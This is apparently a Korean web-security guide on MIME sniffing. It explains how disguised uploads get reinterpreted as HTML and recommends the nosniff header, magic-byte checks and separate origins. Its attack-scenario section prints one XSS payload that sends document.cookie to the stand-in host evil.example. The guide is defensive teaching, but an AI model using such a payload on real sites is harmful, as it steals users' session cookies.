← 모두의 툴

MIME 스니핑이 뭐길래 보안 헤더가 필요한가

가이드 · 2026.08.21 최종 확인

서버가 파일을 응답할 때 Content-Type: image/jpeg 헤더를 붙여 보냈다면, 브라우저는 당연히 이걸 이미지로 처리해야 할 것 같습니다. 그런데 실제로는 그렇지 않을 수 있습니다. 브라우저에는 서버가 보낸 Content-Type을 참고만 하고, 파일 내용을 직접 들여다봐서 "진짜 타입"을 스스로 추측하는 기능이 있습니다. 이걸 MIME 스니핑이라고 부르는데, 이 동작이 왜 보안 문제가 되고 X-Content-Type-Options: nosniff 헤더가 왜 필요한지 이 가이드에서 원리부터 짚어봅니다.

1. 브라우저는 왜 서버 말을 안 믿는가

초기 웹에서는 서버 설정 실수로 잘못된 Content-Type을 보내는 경우가 흔했습니다. 예를 들어 이미지 파일을 text/plain으로 잘못 응답하는 서버가 많았습니다. 이런 상황에서도 페이지가 깨지지 않도록, 초기 인터넷 익스플로러부터 브라우저 제조사들이 "Content-Type이 이상하거나 애매하면 파일의 처음 몇 바이트(매직 넘버)를 직접 검사해서 실제 타입을 판단하자"는 기능을 넣기 시작했습니다. 이게 관용성을 위해 설계된 기능이었는데, 보안 관점에서는 정반대의 결과를 낳았습니다.

2. 스니핑이 뚫는 신뢰 경계

웹 보안의 기본 전제 중 하나는 "서버가 이 파일은 이미지라고 선언했으면 브라우저는 그걸 이미지로만 처리한다"입니다. 스니핑은 이 전제를 깹니다. 공격자가 실제로는 HTML이나 JavaScript 코드가 담긴 파일을 이미지 확장자(.jpg 등)로 업로드하면서 서버가 이를 image/jpeg로 응답하더라도, 브라우저가 파일 내용을 검사해 "이건 사실 HTML이네"라고 판단하고 HTML 문서로 렌더링해버릴 수 있습니다. 즉 이미지 업로드만 허용하는 게시판이라도, 확장자·Content-Type 검증만으로는 실행 가능한 콘텐츠 업로드를 완전히 막지 못합니다.

공격 시나리오: 사용자가 프로필 이미지 업로드란에 <script>document.location='https://evil.example/steal?c='+document.cookie</script>를 파일 앞부분에 심고 확장자를 .jpg로 위장해 업로드 → 서버는 확장자만 보고 저장 후 Content-Type: image/jpeg로 응답 → 스니핑을 허용하는 브라우저가 내용을 보고 HTML로 재해석 → 같은 도메인(오리진)에서 렌더링되며 스크립트가 실행되어 다른 사용자의 쿠키가 탈취됨(XSS)

3. nosniff 헤더가 막는 지점

서버 응답에 X-Content-Type-Options: nosniff 헤더를 추가하면, 브라우저는 파일 내용을 검사하는 스니핑 단계를 건너뛰고 서버가 선언한 Content-Type을 그대로 신뢰합니다. 서버가 image/jpeg라고 선언했는데 실제 내용이 HTML이더라도, 브라우저는 그 파일을 이미지로만 취급하려 시도하고(렌더링 실패로 깨진 이미지가 뜰지언정) HTML로 실행하지 않습니다. 즉 nosniff는 "브라우저의 관용성"을 끄는 대신 "서버 응답의 신뢰성"을 강제하는 헤더입니다. 사용자 업로드 파일을 서빙하는 모든 엔드포인트, 특히 이미지·첨부파일 다운로드 경로에는 이 헤더를 기본으로 붙이는 것이 권장됩니다. CSP 생성기로 만드는 Content-Security-Policy와 함께 적용하면 방어층이 한 겹 더 늘어납니다.

4. 도구가 보여주는 MIME 타입은 스니핑 결과가 아니다

혼동하기 쉬운 지점이 하나 있습니다. MIME Type Finder에서 파일을 드래그 앤 드롭하면 "감지된 MIME 타입"이 표시되는데, 이건 브라우저가 파일 내용을 분석해 알려주는 결과가 아닙니다. 실제로는 브라우저의 File API가 제공하는 file.type 값을 그대로 보여주는 것이고, 이 값은 대부분의 브라우저·OS 조합에서 파일 확장자를 기준으로 결정됩니다(값이 비어 있으면 도구 자체의 확장자-MIME 매핑 표로 한 번 더 보완). 즉 이 도구는 "브라우저가 서버 응답을 스니핑하는 방식"과는 다른, 순수 확장자 기반 판별입니다. 이 두 가지를 같은 개념으로 착각하면 안 됩니다 — 실제 웹 보안에서 문제가 되는 스니핑은 파일 내용(매직 바이트)을 직접 읽는 서버 응답 처리 단계에서 일어나며, 클라이언트 로컬 파일의 확장자 조회와는 별개의 메커니즘입니다.

5. 실무에서 확인해야 할 것

사용자 업로드를 다루는 서비스를 운영한다면 다음을 순서대로 점검하는 것이 좋습니다. 첫째, 업로드 시점에 파일 확장자가 아니라 실제 매직 바이트를 검사해 진짜 타입을 확인합니다. 둘째, 서버가 응답할 때 정확한 Content-Type과 함께 nosniff 헤더를 반드시 포함합니다. 셋째, 업로드된 파일은 가능하면 별도 서브도메인(쿠키를 공유하지 않는 오리진)에서 서빙해 설령 스크립트가 실행되더라도 메인 도메인의 세션·쿠키에 접근하지 못하도록 격리합니다. 실제 응답 헤더에 nosniff가 잘 설정되어 있는지는 HTTP 헤더 검사기로 바로 확인할 수 있습니다.

자주 묻는 질문

Q. nosniff를 켜면 어떤 부작용이 있나요?

서버가 잘못된 Content-Type을 응답하면 브라우저가 그 값을 그대로 신뢰하기 때문에, 파일이 정상 콘텐츠임에도 깨져 보이거나 다운로드가 아닌 다른 방식으로 처리될 수 있습니다. 따라서 nosniff를 적용하기 전에 모든 응답 경로의 Content-Type이 실제 파일 형식과 정확히 일치하는지 먼저 점검해야 합니다.

Q. 확장자 검사만으로 업로드 파일을 안전하게 막을 수 있나요?

아니요. 확장자는 파일명일 뿐 실제 내용과 무관하게 사용자가 자유롭게 정할 수 있습니다. 안전한 업로드 검증은 파일의 첫 몇 바이트(매직 넘버)를 읽어 실제 포맷을 확인하는 방식이어야 하며, 확장자 화이트리스트는 보조 수단으로만 써야 합니다.

Q. HTML/JS 파일이 아니라 SVG도 위험한가요?

네, SVG는 XML 기반 이미지 포맷이면서 내부에 <script> 태그를 포함할 수 있어 "이미지처럼 보이지만 실행 가능한 코드"를 담을 수 있는 대표적인 형식입니다. SVG 업로드를 허용한다면 서버에서 스크립트 태그를 제거(sanitize)하거나 nosniff와 함께 별도 오리진에서 서빙하는 것이 안전합니다.

Q. Content-Type 헤더가 아예 없으면 브라우저는 어떻게 하나요?

Content-Type이 없거나 application/octet-stream처럼 범용 타입이면 브라우저가 스니핑에 의존할 가능성이 더 커집니다. 파일을 서빙하는 모든 경로에서 정확한 Content-Type을 명시적으로 지정하는 것이 스니핑 위험을 줄이는 첫 단계입니다.